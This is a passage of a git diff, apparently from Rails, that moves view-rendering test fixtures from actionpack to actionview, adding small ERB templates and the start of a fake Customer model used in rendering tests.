diff --git a/actionpack/test/fixtures/public/javascripts/subdir/subdir.js b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
index 9d23a67aa1..9d23a67aa1 100644
--- a/actionpack/test/fixtures/public/javascripts/subdir/subdir.js
+++ b/actionview/test/fixtures/public/javascripts/subdir/subdir.js
diff --git a/actionpack/test/fixtures/public/javascripts/version.1.0.js b/actionview/test/fixtures/public/javascripts/version.1.0.js
index cfd5fce70e..cfd5fce70e 100644
--- a/actionpack/test/fixtures/public/javascripts/version.1.0.js
+++ b/actionview/test/fixtures/public/javascripts/version.1.0.js
diff --git a/actionpack/test/fixtures/public/stylesheets/bank.css b/actionview/test/fixtures/public/stylesheets/bank.css
index ea161b12b2..ea161b12b2 100644
--- a/actionpack/test/fixtures/public/stylesheets/bank.css
+++ b/actionview/test/fixtures/public/stylesheets/bank.css
diff --git a/actionpack/test/fixtures/public/stylesheets/random.styles b/actionview/test/fixtures/public/stylesheets/random.styles
index d4eeead95c..d4eeead95c 100644
--- a/actionpack/test/fixtures/public/stylesheets/random.styles
+++ b/actionview/test/fixtures/public/stylesheets/random.styles
diff --git a/actionpack/test/fixtures/public/stylesheets/robber.css b/actionview/test/fixtures/public/stylesheets/robber.css
index 0fdd00a6a5..0fdd00a6a5 100644
--- a/actionpack/test/fixtures/public/stylesheets/robber.css
+++ b/actionview/test/fixtures/public/stylesheets/robber.css
diff --git a/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
index 241152a905..241152a905 100644
--- a/actionpack/test/fixtures/public/stylesheets/subdir/subdir.css
+++ b/actionview/test/fixtures/public/stylesheets/subdir/subdir.css
diff --git a/actionpack/test/fixtures/public/stylesheets/version.1.0.css b/actionview/test/fixtures/public/stylesheets/version.1.0.css
index 30f5f9ba6e..30f5f9ba6e 100644
--- a/actionpack/test/fixtures/public/stylesheets/version.1.0.css
+++ b/actionview/test/fixtures/public/stylesheets/version.1.0.css
diff --git a/actionpack/test/fixtures/replies.yml b/actionview/test/fixtures/replies.yml
index 2a3454b8bf..2a3454b8bf 100644
--- a/actionpack/test/fixtures/replies.yml
+++ b/actionview/test/fixtures/replies.yml
diff --git a/actionpack/test/fixtures/replies/_reply.erb b/actionview/test/fixtures/replies/_reply.erb
index 68baf548d8..68baf548d8 100644
--- a/actionpack/test/fixtures/replies/_reply.erb
+++ b/actionview/test/fixtures/replies/_reply.erb
diff --git a/actionpack/test/fixtures/reply.rb b/actionview/test/fixtures/reply.rb
index 047522c55b..047522c55b 100644
--- a/actionpack/test/fixtures/reply.rb
+++ b/actionview/test/fixtures/reply.rb
diff --git a/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
new file mode 100644
index 0000000000..9f1f855269
--- /dev/null
+++ b/actionview/test/fixtures/respond_to/using_defaults_with_all.html.erb
@@ -0,0 +1 @@
+HTML!
diff --git a/actionview/test/fixtures/ruby_template.ruby b/actionview/test/fixtures/ruby_template.ruby
new file mode 100644
index 0000000000..5097bce47c
--- /dev/null
+++ b/actionview/test/fixtures/ruby_template.ruby
@@ -0,0 +1,2 @@
+body = ""
+body << ["Hello", "from", "Ruby", "code"].join(" ")
diff --git a/actionview/test/fixtures/shared.html.erb b/actionview/test/fixtures/shared.html.erb
new file mode 100644
index 0000000000..af262fc9f8
--- /dev/null
+++ b/actionview/test/fixtures/shared.html.erb
@@ -0,0 +1 @@
+Elastica \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_200.html.erb b/actionview/test/fixtures/test/_200.html.erb
index c9f45675dc..c9f45675dc 100644
--- a/actionpack/test/fixtures/test/_200.html.erb
+++ b/actionview/test/fixtures/test/_200.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial.html.erb
index e918ba8f83..e918ba8f83 100644
--- a/actionpack/test/fixtures/test/_b_layout_for_partial.html.erb
+++ b/actionview/test/fixtures/test/_b_layout_for_partial.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
index bdd53014cd..bdd53014cd 100644
--- a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
+++ b/actionview/test/fixtures/test/_b_layout_for_partial_with_object.html.erb
diff --git a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb b/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
index 44d6121297..44d6121297 100644
--- a/actionpack/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
+++ b/actionview/test/fixtures/test/_b_layout_for_partial_with_object_counter.html.erb
diff --git a/actionview/test/fixtures/test/_changing_priority.html.erb b/actionview/test/fixtures/test/_changing_priority.html.erb
new file mode 100644
index 0000000000..3225efc49a
--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.html.erb
@@ -0,0 +1 @@
+HTML \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_changing_priority.json.erb b/actionview/test/fixtures/test/_changing_priority.json.erb
new file mode 100644
index 0000000000..7fa41dce66
--- /dev/null
+++ b/actionview/test/fixtures/test/_changing_priority.json.erb
@@ -0,0 +1 @@
+JSON \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
index 2f21a75dd9..2f21a75dd9 100644
--- a/actionpack/test/fixtures/test/_content_tag_nested_in_content_tag.erb
+++ b/actionview/test/fixtures/test/_content_tag_nested_in_content_tag.erb
diff --git a/actionview/test/fixtures/test/_counter.html.erb b/actionview/test/fixtures/test/_counter.html.erb
new file mode 100644
index 0000000000..fd245bfc70
--- /dev/null
+++ b/actionview/test/fixtures/test/_counter.html.erb
@@ -0,0 +1 @@
+<%= counter_counter %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer.erb b/actionview/test/fixtures/test/_customer.erb
new file mode 100644
index 0000000000..d8220afeda
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer.erb
@@ -0,0 +1 @@
+Hello: <%= customer.name rescue "Anonymous" %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_greeting.erb b/actionview/test/fixtures/test/_customer_greeting.erb
new file mode 100644
index 0000000000..6acbcb20c4
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_greeting.erb
@@ -0,0 +1 @@
+<%= greeting %>: <%= customer_greeting.name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_customer_with_var.erb b/actionview/test/fixtures/test/_customer_with_var.erb
new file mode 100644
index 0000000000..00047dd20e
--- /dev/null
+++ b/actionview/test/fixtures/test/_customer_with_var.erb
@@ -0,0 +1 @@
+<%= customer.name %> <%= customer.name %> <%= customer.name %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
new file mode 100644
index 0000000000..1cc8d41475
--- /dev/null
+++ b/actionview/test/fixtures/test/_directory/_partial_with_locales.html.erb
@@ -0,0 +1 @@
+Hello <%= name %>
diff --git a/actionview/test/fixtures/test/_first_json_partial.json.erb b/actionview/test/fixtures/test/_first_json_partial.json.erb
new file mode 100644
index 0000000000..790ee896db
--- /dev/null
+++ b/actionview/test/fixtures/test/_first_json_partial.json.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/second_json_partial" %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_from_helper.erb b/actionview/test/fixtures/test/_from_helper.erb
index 16de7c0f8a..16de7c0f8a 100644
--- a/actionpack/test/fixtures/test/_from_helper.erb
+++ b/actionview/test/fixtures/test/_from_helper.erb
diff --git a/guides/code/getting_started/app/mailers/.gitkeep b/actionview/test/fixtures/test/_json_change_priority.json.erb
index e69de29bb2..e69de29bb2 100644
--- a/guides/code/getting_started/app/mailers/.gitkeep
+++ b/actionview/test/fixtures/test/_json_change_priority.json.erb
diff --git a/actionview/test/fixtures/test/_label_with_block.erb b/actionview/test/fixtures/test/_label_with_block.erb
new file mode 100644
index 0000000000..94089ea93d
--- /dev/null
+++ b/actionview/test/fixtures/test/_label_with_block.erb
@@ -0,0 +1,4 @@
+<%= label('post', 'message')do %>
+ Message
+ <%= text_field 'post', 'message' %>
+<% end %>
diff --git a/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb b/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
index 307533208d..307533208d 100644
--- a/actionpack/test/fixtures/test/_layout_for_block_with_args.html.erb
+++ b/actionview/test/fixtures/test/_layout_for_block_with_args.html.erb
diff --git a/actionview/test/fixtures/test/_layout_for_partial.html.erb b/actionview/test/fixtures/test/_layout_for_partial.html.erb
new file mode 100644
index 0000000000..666efadbb6
--- /dev/null
+++ b/actionview/test/fixtures/test/_layout_for_partial.html.erb
@@ -0,0 +1,3 @@
+Before (<%= name %>)
+<%= yield %>
+After \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
index 820e7db789..820e7db789 100644
--- a/actionpack/test/fixtures/test/_layout_with_partial_and_yield.html.erb
+++ b/actionview/test/fixtures/test/_layout_with_partial_and_yield.html.erb
diff --git a/actionpack/test/fixtures/test/_local_inspector.html.erb b/actionview/test/fixtures/test/_local_inspector.html.erb
index e6765c0882..e6765c0882 100644
--- a/actionpack/test/fixtures/test/_local_inspector.html.erb
+++ b/actionview/test/fixtures/test/_local_inspector.html.erb
diff --git a/actionpack/test/fixtures/test/_object_inspector.erb b/actionview/test/fixtures/test/_object_inspector.erb
index 53af593821..53af593821 100644
--- a/actionpack/test/fixtures/test/_object_inspector.erb
+++ b/actionview/test/fixtures/test/_object_inspector.erb
diff --git a/actionpack/test/fixtures/test/_one.html.erb b/actionview/test/fixtures/test/_one.html.erb
index f796291cb4..f796291cb4 100644
--- a/actionpack/test/fixtures/test/_one.html.erb
+++ b/actionview/test/fixtures/test/_one.html.erb
diff --git a/actionview/test/fixtures/test/_partial.erb b/actionview/test/fixtures/test/_partial.erb
new file mode 100644
index 0000000000..e466dcbd8e
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.erb
@@ -0,0 +1 @@
+invalid \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.html.erb b/actionview/test/fixtures/test/_partial.html.erb
new file mode 100644
index 0000000000..e39f6c9827
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.html.erb
@@ -0,0 +1 @@
+partial html \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial.js.erb b/actionview/test/fixtures/test/_partial.js.erb
new file mode 100644
index 0000000000..b350cdd7ef
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial.js.erb
@@ -0,0 +1 @@
+partial js \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
new file mode 100644
index 0000000000..3a03a64e31
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_for_use_in_layout.html.erb
@@ -0,0 +1 @@
+Inside from partial (<%= name %>) \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_partial_name_local_variable.erb b/actionview/test/fixtures/test/_partial_name_local_variable.erb
new file mode 100644
index 0000000000..cc3a91c89f
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_name_local_variable.erb
@@ -0,0 +1 @@
+<%= partial_name_local_variable %>
diff --git a/actionview/test/fixtures/test/_partial_only.erb b/actionview/test/fixtures/test/_partial_only.erb
new file mode 100644
index 0000000000..a44b3eed40
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_only.erb
@@ -0,0 +1 @@
+only partial \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_partial_with_layout.erb b/actionview/test/fixtures/test/_partial_with_layout.erb
index 2a50c834fe..2a50c834fe 100644
--- a/actionpack/test/fixtures/test/_partial_with_layout.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
index 65dafd93a8..65dafd93a8 100644
--- a/actionpack/test/fixtures/test/_partial_with_layout_block_content.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_content.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
index 444197a7d0..444197a7d0 100644
--- a/actionpack/test/fixtures/test/_partial_with_layout_block_partial.erb
+++ b/actionview/test/fixtures/test/_partial_with_layout_block_partial.erb
diff --git a/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
index 00e6b6d6da..00e6b6d6da 100644
--- a/actionpack/test/fixtures/test/_partial_with_only_html_version.html.erb
+++ b/actionview/test/fixtures/test/_partial_with_only_html_version.html.erb
diff --git a/actionview/test/fixtures/test/_partial_with_partial.erb b/actionview/test/fixtures/test/_partial_with_partial.erb
new file mode 100644
index 0000000000..ee0d5037b6
--- /dev/null
+++ b/actionview/test/fixtures/test/_partial_with_partial.erb
@@ -0,0 +1,2 @@
+<%= render 'test/partial' %>
+partial with partial
diff --git a/actionpack/test/fixtures/test/_raise.html.erb b/actionview/test/fixtures/test/_raise.html.erb
index 68b08181d3..68b08181d3 100644
--- a/actionpack/test/fixtures/test/_raise.html.erb
+++ b/actionview/test/fixtures/test/_raise.html.erb
diff --git a/actionview/test/fixtures/test/_raise_indentation.html.erb b/actionview/test/fixtures/test/_raise_indentation.html.erb
new file mode 100644
index 0000000000..f9a93728fe
--- /dev/null
+++ b/actionview/test/fixtures/test/_raise_indentation.html.erb
@@ -0,0 +1,13 @@
+<p>First paragraph</p>
+<p>Second paragraph</p>
+<p>Third paragraph</p>
+<p>Fourth paragraph</p>
+<p>Fifth paragraph</p>
+<p>Sixth paragraph</p>
+<p>Seventh paragraph</p>
+<p>Eight paragraph</p>
+<p>Ninth paragraph</p>
+<p>Tenth paragraph</p>
+<%= raise "error here!" %>
+<p>Eleventh paragraph</p>
+<p>Twelfth paragraph</p> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/_second_json_partial.json.erb b/actionview/test/fixtures/test/_second_json_partial.json.erb
new file mode 100644
index 0000000000..5ebb7f1afd
--- /dev/null
+++ b/actionview/test/fixtures/test/_second_json_partial.json.erb
@@ -0,0 +1 @@
+Third level \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/_two.html.erb b/actionview/test/fixtures/test/_two.html.erb
index 5ab2f8a432..5ab2f8a432 100644
--- a/actionpack/test/fixtures/test/_two.html.erb
+++ b/actionview/test/fixtures/test/_two.html.erb
diff --git a/actionpack/test/fixtures/test/_utf8_partial.html.erb b/actionview/test/fixtures/test/_utf8_partial.html.erb
index 8d717fd427..8d717fd427 100644
--- a/actionpack/test/fixtures/test/_utf8_partial.html.erb
+++ b/actionview/test/fixtures/test/_utf8_partial.html.erb
diff --git a/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb b/actionview/test/fixtures/test/_utf8_partial_magic.html.erb
index 4e2224610a..4e2224610a 100644
--- a/actionpack/test/fixtures/test/_utf8_partial_magic.html.erb
+++ b/actionview/test/fixtures/test/_utf8_partial_magic.html.erb
diff --git a/actionpack/test/fixtures/test/basic.html.erb b/actionview/test/fixtures/test/basic.html.erb
index ea696d7e01..ea696d7e01 100644
--- a/actionpack/test/fixtures/test/basic.html.erb
+++ b/actionview/test/fixtures/test/basic.html.erb
diff --git a/actionview/test/fixtures/test/calling_partial_with_layout.html.erb b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
new file mode 100644
index 0000000000..ac44bc0d81
--- /dev/null
+++ b/actionview/test/fixtures/test/calling_partial_with_layout.html.erb
@@ -0,0 +1 @@
+<%= render(:layout => "layout_for_partial", :partial => "partial_for_use_in_layout", :locals => { :name => "David" }) %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/change_priority.html.erb b/actionview/test/fixtures/test/change_priority.html.erb
new file mode 100644
index 0000000000..5618977d05
--- /dev/null
+++ b/actionview/test/fixtures/test/change_priority.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => "test/json_change_priority", formats: :json %>
+HTML Template, but <%= render :partial => "test/changing_priority" %> partial \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/dont_pick_me b/actionview/test/fixtures/test/dont_pick_me
index 0157c9e503..0157c9e503 100644
--- a/actionpack/test/fixtures/test/dont_pick_me
+++ b/actionview/test/fixtures/test/dont_pick_me
diff --git a/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/test/dot.directory/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/greeting.xml.erb b/actionview/test/fixtures/test/greeting.xml.erb
new file mode 100644
index 0000000000..62fb0293f0
--- /dev/null
+++ b/actionview/test/fixtures/test/greeting.xml.erb
@@ -0,0 +1 @@
+<p>This is grand!</p>
diff --git a/actionview/test/fixtures/test/hello.builder b/actionview/test/fixtures/test/hello.builder
new file mode 100644
index 0000000000..a471553941
--- /dev/null
+++ b/actionview/test/fixtures/test/hello.builder
@@ -0,0 +1,4 @@
+xml.html do
+ xml.p "Hello #{@name}"
+ xml << render(:file => "test/greeting")
+end \ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello/hello.erb b/actionview/test/fixtures/test/hello/hello.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/test/hello/hello.erb
@@ -0,0 +1 @@
+Hello world! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.da.html.erb b/actionview/test/fixtures/test/hello_world.da.html.erb
index 10ec443291..10ec443291 100644
--- a/actionpack/test/fixtures/test/hello_world.da.html.erb
+++ b/actionview/test/fixtures/test/hello_world.da.html.erb
diff --git a/actionview/test/fixtures/test/hello_world.erb b/actionview/test/fixtures/test/hello_world.erb
new file mode 100644
index 0000000000..6769dd60bd
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.erb
@@ -0,0 +1 @@
+Hello world! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.erb~ b/actionview/test/fixtures/test/hello_world.erb~
index 21934a1c95..21934a1c95 100644
--- a/actionpack/test/fixtures/test/hello_world.erb~
+++ b/actionview/test/fixtures/test/hello_world.erb~
diff --git a/actionview/test/fixtures/test/hello_world.html+phone.erb b/actionview/test/fixtures/test/hello_world.html+phone.erb
new file mode 100644
index 0000000000..b4f236f878
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.html+phone.erb
@@ -0,0 +1 @@
+Hello phone! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb b/actionview/test/fixtures/test/hello_world.pt-BR.html.erb
index 773b3c8c6e..773b3c8c6e 100644
--- a/actionpack/test/fixtures/test/hello_world.pt-BR.html.erb
+++ b/actionview/test/fixtures/test/hello_world.pt-BR.html.erb
diff --git a/actionview/test/fixtures/test/hello_world.text+phone.erb b/actionview/test/fixtures/test/hello_world.text+phone.erb
new file mode 100644
index 0000000000..611e2ee442
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world.text+phone.erb
@@ -0,0 +1 @@
+Hello texty phone! \ No newline at end of file
diff --git a/actionview/test/fixtures/test/hello_world_with_partial.html.erb b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
new file mode 100644
index 0000000000..ec31545356
--- /dev/null
+++ b/actionview/test/fixtures/test/hello_world_with_partial.html.erb
@@ -0,0 +1,2 @@
+Hello world!
+<%= render '/test/partial' %>
diff --git a/actionview/test/fixtures/test/html_template.html.erb b/actionview/test/fixtures/test/html_template.html.erb
new file mode 100644
index 0000000000..1bbc2b7f09
--- /dev/null
+++ b/actionview/test/fixtures/test/html_template.html.erb
@@ -0,0 +1 @@
+<%= render :partial => "test/first_json_partial", formats: :json %> \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/layout_render_file.erb b/actionview/test/fixtures/test/layout_render_file.erb
index 2f8e921c5f..2f8e921c5f 100644
--- a/actionpack/test/fixtures/test/layout_render_file.erb
+++ b/actionview/test/fixtures/test/layout_render_file.erb
diff --git a/actionpack/test/fixtures/test/layout_render_object.erb b/actionview/test/fixtures/test/layout_render_object.erb
index acc4453c08..acc4453c08 100644
--- a/actionpack/test/fixtures/test/layout_render_object.erb
+++ b/actionview/test/fixtures/test/layout_render_object.erb
diff --git a/actionview/test/fixtures/test/list.erb b/actionview/test/fixtures/test/list.erb
new file mode 100644
index 0000000000..0a4bda58ee
--- /dev/null
+++ b/actionview/test/fixtures/test/list.erb
@@ -0,0 +1 @@
+<%= @test_unchanged = 'goodbye' %><%= render :partial => 'customer', :collection => @customers %><%= @test_unchanged %>
diff --git a/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.en.html.erb~
index d009950384..d009950384 100644
--- a/actionpack/test/fixtures/test/malformed/malformed.en.html.erb~
+++ b/actionview/test/fixtures/test/malformed/malformed.en.html.erb~
diff --git a/actionpack/test/fixtures/test/malformed/malformed.erb~ b/actionview/test/fixtures/test/malformed/malformed.erb~
index d009950384..d009950384 100644
--- a/actionpack/test/fixtures/test/malformed/malformed.erb~
+++ b/actionview/test/fixtures/test/malformed/malformed.erb~
diff --git a/actionpack/test/fixtures/test/malformed/malformed.html.erb~ b/actionview/test/fixtures/test/malformed/malformed.html.erb~
index d009950384..d009950384 100644
--- a/actionpack/test/fixtures/test/malformed/malformed.html.erb~
+++ b/actionview/test/fixtures/test/malformed/malformed.html.erb~
diff --git a/actionview/test/fixtures/test/malformed/malformed~ b/actionview/test/fixtures/test/malformed/malformed~
new file mode 100644
index 0000000000..d009950384
--- /dev/null
+++ b/actionview/test/fixtures/test/malformed/malformed~
@@ -0,0 +1 @@
+Don't render me! \ No newline at end of file
diff --git a/actionpack/test/fixtures/test/nested_layout.erb b/actionview/test/fixtures/test/nested_layout.erb
index 6078f74b4c..6078f74b4c 100644
--- a/actionpack/test/fixtures/test/nested_layout.erb
+++ b/actionview/test/fixtures/test/nested_layout.erb
diff --git a/actionpack/test/fixtures/test/nested_streaming.erb b/actionview/test/fixtures/test/nested_streaming.erb
index 55525e0c92..55525e0c92 100644
--- a/actionpack/test/fixtures/test/nested_streaming.erb
+++ b/actionview/test/fixtures/test/nested_streaming.erb
diff --git a/actionview/test/fixtures/test/nil_return.erb b/actionview/test/fixtures/test/nil_return.erb
new file mode 100644
index 0000000000..90ce3881f6
--- /dev/null
+++ b/actionview/test/fixtures/test/nil_return.erb
@@ -0,0 +1 @@
+This is nil: <%== nil %>
diff --git a/actionpack/test/fixtures/test/one.html.erb b/actionview/test/fixtures/test/one.html.erb
index 0151874809..0151874809 100644
--- a/actionpack/test/fixtures/test/one.html.erb
+++ b/actionview/test/fixtures/test/one.html.erb
diff --git a/actionview/test/fixtures/test/render_file_with_ivar.erb b/actionview/test/fixtures/test/render_file_with_ivar.erb
new file mode 100644
index 0000000000..8b8a449236
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_ivar.erb
@@ -0,0 +1 @@
+The secret is <%= @secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals.erb b/actionview/test/fixtures/test/render_file_with_locals.erb
new file mode 100644
index 0000000000..ebe09faee6
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals.erb
@@ -0,0 +1 @@
+The secret is <%= secret %>
diff --git a/actionview/test/fixtures/test/render_file_with_locals_and_default.erb b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
new file mode 100644
index 0000000000..9b4900acc5
--- /dev/null
+++ b/actionview/test/fixtures/test/render_file_with_locals_and_default.erb
@@ -0,0 +1 @@
+<%= secret ||= 'one' %> \ No newline at end of file
diff --git a/actionview/test/fixtures/test/render_partial_inside_directory.html.erb b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
new file mode 100644
index 0000000000..1461b95186
--- /dev/null
+++ b/actionview/test/fixtures/test/render_partial_inside_directory.html.erb
@@ -0,0 +1 @@
+<%= render partial: 'test/_directory/partial_with_locales', locals: {'name' => 'Jane'} %>
diff --git a/actionview/test/fixtures/test/render_two_partials.html.erb b/actionview/test/fixtures/test/render_two_partials.html.erb
new file mode 100644
index 0000000000..3db6025860
--- /dev/null
+++ b/actionview/test/fixtures/test/render_two_partials.html.erb
@@ -0,0 +1,2 @@
+<%= render :partial => 'partial', :locals => {'first' => '1'} %>
+<%= render :partial => 'partial', :locals => {'second' => '2'} %>
diff --git a/actionpack/test/fixtures/test/streaming.erb b/actionview/test/fixtures/test/streaming.erb
index fb9b8b1ade..fb9b8b1ade 100644
--- a/actionpack/test/fixtures/test/streaming.erb
+++ b/actionview/test/fixtures/test/streaming.erb
diff --git a/actionpack/test/fixtures/test/streaming_buster.erb b/actionview/test/fixtures/test/streaming_buster.erb
index 4221d56dcc..4221d56dcc 100644
--- a/actionpack/test/fixtures/test/streaming_buster.erb
+++ b/actionview/test/fixtures/test/streaming_buster.erb
diff --git a/actionpack/test/fixtures/test/sub_template_raise.html.erb b/actionview/test/fixtures/test/sub_template_raise.html.erb
index f38c0bda90..f38c0bda90 100644
--- a/actionpack/test/fixtures/test/sub_template_raise.html.erb
+++ b/actionview/test/fixtures/test/sub_template_raise.html.erb
diff --git a/actionpack/test/fixtures/test/template.erb b/actionview/test/fixtures/test/template.erb
index 785afa8f6a..785afa8f6a 100644
--- a/actionpack/test/fixtures/test/template.erb
+++ b/actionview/test/fixtures/test/template.erb
diff --git a/actionpack/test/fixtures/test/update_element_with_capture.erb b/actionview/test/fixtures/test/update_element_with_capture.erb
index fa3ef200f9..fa3ef200f9 100644
--- a/actionpack/test/fixtures/test/update_element_with_capture.erb
+++ b/actionview/test/fixtures/test/update_element_with_capture.erb
diff --git a/actionpack/test/fixtures/test/utf8.html.erb b/actionview/test/fixtures/test/utf8.html.erb
index ac98c2f012..ac98c2f012 100644
--- a/actionpack/test/fixtures/test/utf8.html.erb
+++ b/actionview/test/fixtures/test/utf8.html.erb
diff --git a/actionpack/test/fixtures/test/utf8_magic.html.erb b/actionview/test/fixtures/test/utf8_magic.html.erb
index 257279c29f..257279c29f 100644
--- a/actionpack/test/fixtures/test/utf8_magic.html.erb
+++ b/actionview/test/fixtures/test/utf8_magic.html.erb
diff --git a/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
index cb22692f9a..cb22692f9a 100644
--- a/actionpack/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
+++ b/actionview/test/fixtures/test/utf8_magic_with_bare_partial.html.erb
diff --git a/actionpack/test/fixtures/topic.rb b/actionview/test/fixtures/topic.rb
index 9fa9746535..9fa9746535 100644
--- a/actionpack/test/fixtures/topic.rb
+++ b/actionview/test/fixtures/topic.rb
diff --git a/actionpack/test/fixtures/topics.yml b/actionview/test/fixtures/topics.yml
index 7fdd49d54e..7fdd49d54e 100644
--- a/actionpack/test/fixtures/topics.yml
+++ b/actionview/test/fixtures/topics.yml
diff --git a/actionpack/test/fixtures/topics/_topic.html.erb b/actionview/test/fixtures/topics/_topic.html.erb
index 98659ca098..98659ca098 100644
--- a/actionpack/test/fixtures/topics/_topic.html.erb
+++ b/actionview/test/fixtures/topics/_topic.html.erb
diff --git a/actionpack/test/fixtures/translations/templates/array.erb b/actionview/test/fixtures/translations/templates/array.erb
index d86045a172..d86045a172 100644
--- a/actionpack/test/fixtures/translations/templates/array.erb
+++ b/actionview/test/fixtures/translations/templates/array.erb
diff --git a/actionpack/test/fixtures/translations/templates/default.erb b/actionview/test/fixtures/translations/templates/default.erb
index 8b70031071..8b70031071 100644
--- a/actionpack/test/fixtures/translations/templates/default.erb
+++ b/actionview/test/fixtures/translations/templates/default.erb
diff --git a/actionpack/test/fixtures/translations/templates/found.erb b/actionview/test/fixtures/translations/templates/found.erb
index 080c9c0aee..080c9c0aee 100644
--- a/actionpack/test/fixtures/translations/templates/found.erb
+++ b/actionview/test/fixtures/translations/templates/found.erb
diff --git a/actionpack/test/fixtures/translations/templates/missing.erb b/actionview/test/fixtures/translations/templates/missing.erb
index 0f3f17f8ef..0f3f17f8ef 100644
--- a/actionpack/test/fixtures/translations/templates/missing.erb
+++ b/actionview/test/fixtures/translations/templates/missing.erb
diff --git a/actionpack/test/fixtures/with_format.json.erb b/actionview/test/fixtures/with_format.json.erb
index a7f480ab1d..a7f480ab1d 100644
--- a/actionpack/test/fixtures/with_format.json.erb
+++ b/actionview/test/fixtures/with_format.json.erb
diff --git a/actionview/test/lib/controller/fake_models.rb b/actionview/test/lib/controller/fake_models.rb
new file mode 100644
index 0000000000..a463a08bb6
--- /dev/null
+++ b/actionview/test/lib/controller/fake_models.rb
@@ -0,0 +1,185 @@
+require "active_model"
+
+class Customer < Struct.new(:name, :id)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ undef_method :to_json
+
+ def to_xml(options={})
+ if options[:builder]
+ options[:builder].name name
+ else
+ "<name>#{name}</name>"
+ end
+ end
+
+ def to_js(options={})
+ "name: #{name.inspect}"
+ end
+ alias :to_text :to_js
+
+ def errors
+ []
+ end
+
+ def persisted?
+ id.present?
+ end
+end
+
+class GoodCustomer < Customer
+end
+
